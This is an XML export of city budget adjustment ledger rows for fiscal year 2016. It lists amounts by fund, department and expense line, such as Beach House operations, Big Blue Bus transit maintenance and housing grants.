<row _id="21433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8300</total></row>
<row _id="21434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-690750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-690750</total></row>
<row _id="21435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="21436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>242548</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>242548</total></row>
<row _id="21437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9800</total></row>
<row _id="21441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15800</total></row>
<row _id="21442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-4143</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4143</total></row>
<row _id="21443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>88770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>88770</total></row>
<row _id="21444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402830.0</object><object_description>CITY YARDS CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-75000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-75000</total></row>
<row _id="21445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>120698</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120698</total></row>
<row _id="21446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10480</total></row>
<row _id="21447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7026</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7026</total></row>
<row _id="21448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>80873</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80873</total></row>
<row _id="21449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2001</total></row>
<row _id="21450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13700</total></row>
<row _id="21451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577351.0</object><object_description>HOME VOUCHERS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>471792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>471792</total></row>
<row _id="21452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1838</total></row>
<row _id="21453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25462</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25462</total></row>
<row _id="21454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-13850</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13850</total></row>
<row _id="21455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10727</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10727</total></row>
<row _id="21456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16570</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16570</total></row>
<row _id="21457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5081</total></row>
<row _id="21458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12200</total></row>
<row _id="21459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>96900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>96900</total></row>
<row _id="21460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2750</total></row>
<row _id="21461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="21462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13260</total></row>
<row _id="21463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>770</total></row>
<row _id="21464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>298</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>298</total></row>
<row _id="21465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561117.0</object><object_description>ST JOSEPH CENTER HPSHP-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8180</total></row>
<row _id="21466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-DISBLD (SMARS)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30000</total></row>
<row _id="21467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>606</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>606</total></row>
<row _id="21468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2645</total></row>
<row _id="21469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39590</total></row>
<row _id="21470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561115.0</object><object_description>OPCC SAFE HAVEN-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561116.0</object><object_description>OPCC INTERIM HSG&amp;WELLNS-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8350</total></row>
<row _id="21472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>ST JOSEPH CENTER FSS - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7081</total></row>
<row _id="21473"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="21474"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21475"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2599</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2599</total></row>
<row _id="21476"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21477"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>250916</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>250916</total></row>
<row _id="21478"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3902</total></row>
<row _id="21479"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70200</total></row>
<row _id="21480"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555011.0</object><object_description>CONT SERV/PLANT REPLACE/MIS SE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30600</total></row>
<row _id="21481"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533214.0</object><object_description>FAC MAINT-REPAIRS-HIST SAVINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>126000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>126000</total></row>
